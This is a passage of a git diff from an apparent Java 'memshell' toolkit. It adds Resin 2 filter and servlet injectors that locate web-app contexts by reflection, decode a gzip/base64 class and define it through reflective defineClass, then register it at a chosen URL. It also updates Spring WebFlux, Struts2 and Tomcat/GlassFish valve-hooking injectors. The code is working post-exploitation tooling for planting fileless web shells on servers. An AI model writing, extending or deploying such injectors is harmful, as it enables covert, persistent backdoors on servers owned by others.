||||||
|
Map apps = (Map) getFieldValue(o, "webapps");
|
||||||
|
contexts.addAll(apps.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|||||||
+270
@@ -0,0 +1,270 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.resin2;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2FilterInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Resin2FilterInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||||
|
Object context = getApplicationFromClassLoader(classLoader);
|
||||||
|
if (context != null) {
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||||
|
while (classLoader != null) {
|
||||||
|
try {
|
||||||
|
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||||
|
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
classLoader = classLoader.getParent();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void inject(Object context, Object filter) throws Exception {
|
||||||
|
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
|
||||||
|
for (String key : filters.keySet()) {
|
||||||
|
if (key.contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ClassLoader loader = context.getClass().getClassLoader();
|
||||||
|
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
|
||||||
|
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
|
||||||
|
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
|
||||||
|
Object filterConfig = newInstance(
|
||||||
|
qFilterConfigClass,
|
||||||
|
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
|
||||||
|
new Object[]{context, getClassName(), getClassName(), null});
|
||||||
|
filters.put(getClassName(), filterConfig);
|
||||||
|
|
||||||
|
List filterList = (List) getFieldValue(context, "_filterList");
|
||||||
|
if (filterList != null && !filterList.contains(filterConfig)) {
|
||||||
|
filterList.add(filterConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
|
||||||
|
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
|
||||||
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
|
||||||
|
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
|
||||||
|
|
||||||
|
List filterMaps = (List) getFieldValue(context, "_filterMap");
|
||||||
|
synchronized (filterMaps) {
|
||||||
|
filterMaps.add(0, filterMap);
|
||||||
|
}
|
||||||
|
invokeMethod(context, "clearCache", null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
return constructor.newInstance(param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+248
@@ -0,0 +1,248 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.resin2;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2ServletInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Resin2ServletInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||||
|
Object context = getApplicationFromClassLoader(classLoader);
|
||||||
|
if (context != null) {
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||||
|
while (classLoader != null) {
|
||||||
|
try {
|
||||||
|
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||||
|
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
classLoader = classLoader.getParent();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void inject(Object context, Object servlet) throws Exception {
|
||||||
|
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
|
||||||
|
for (String key : servlets.keySet()) {
|
||||||
|
if (key.contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Object servletConfig = invokeMethod(
|
||||||
|
context,
|
||||||
|
"addServlet",
|
||||||
|
new Class[]{String.class, String.class},
|
||||||
|
new Object[]{getClassName(), getClassName()});
|
||||||
|
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
|
||||||
|
invokeMethod(
|
||||||
|
context,
|
||||||
|
"addDispatchMap",
|
||||||
|
new Class[]{String.class, servletConfigClass},
|
||||||
|
new Object[]{getUrlPattern(), servletConfig});
|
||||||
|
invokeMethod(context, "clearCache", null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-2
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||||
|
|
||||||
import org.springframework.util.Base64Utils;
|
|
||||||
import org.springframework.web.reactive.function.server.*;
|
import org.springframework.web.reactive.function.server.*;
|
||||||
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
||||||
|
|
||||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
|||||||
try {
|
try {
|
||||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
|||||||
+1
-2
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||||
|
|
||||||
import org.springframework.util.Base64Utils;
|
|
||||||
import org.springframework.web.method.HandlerMethod;
|
import org.springframework.web.method.HandlerMethod;
|
||||||
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||||
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
||||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
|||||||
try {
|
try {
|
||||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
|||||||
+1
-2
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||||
|
|
||||||
import org.springframework.util.Base64Utils;
|
|
||||||
import org.springframework.web.server.WebFilter;
|
import org.springframework.web.server.WebFilter;
|
||||||
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
||||||
import org.springframework.web.server.handler.FilteringWebHandler;
|
import org.springframework.web.server.handler.FilteringWebHandler;
|
||||||
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
|
|||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
return classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
|||||||
+3
-3
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.struct2;
|
package com.reajason.javaweb.memshell.injector.struts2;
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -15,7 +15,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2ActionInjector {
|
public class Struts2ActionInjector {
|
||||||
|
|
||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
@@ -32,7 +32,7 @@ public class Struct2ActionInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public Struct2ActionInjector() {
|
public Struts2ActionInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
+23
-6
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)
|
||||||
|
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
boolean returnsInt = descriptor.endsWith(")I");
|
||||||
|
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
|
||||||
|
mv, argumentTypes, getClassName(), returnsInt);
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
private final Type[] argumentTypes;
|
private final Type[] argumentTypes;
|
||||||
private final String className;
|
private final String className;
|
||||||
|
private final boolean returnsInt;
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
|
||||||
super(Opcodes.ASM9, mv);
|
super(Opcodes.ASM9, mv);
|
||||||
this.argumentTypes = argTypes;
|
this.argumentTypes = argTypes;
|
||||||
this.className = className;
|
this.className = className;
|
||||||
|
this.returnsInt = returnsInt;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
"(Ljava/lang/Object;)Z",
|
"(Ljava/lang/Object;)Z",
|
||||||
false);
|
false);
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
// GlassFishValve.END_PIPELINE == 2
|
||||||
|
if (returnsInt) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_2);
|
||||||
|
mv.visitInsn(Opcodes.IRETURN);
|
||||||
|
} else {
|
||||||
